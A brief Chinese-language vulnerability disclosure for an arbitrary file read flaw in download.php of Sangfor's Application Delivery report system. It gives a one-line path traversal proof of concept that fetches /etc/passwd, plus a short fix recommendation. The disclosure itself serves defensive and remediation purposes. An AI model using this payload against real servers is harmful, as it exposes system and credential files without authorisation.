深信服 应用交付报表系统 download.php 任意文件读取漏洞

漏洞描述：

深信服 应用交付报表系统 download.PHP文件存在任意文件读取漏洞，攻击者通过漏洞可以下载服务器任意文件。

漏洞利用条件:

download.php文件接口

漏洞影响范围：

应用交付报表系统

漏洞复现：

1、登录页面：

2.poc：/report/download.php?pdf=../../../../../etc/passwd

修复建议：

对下载进行严格控制

来源地址：https://blog.csdn.net/weixin_46801402/article/details/127684173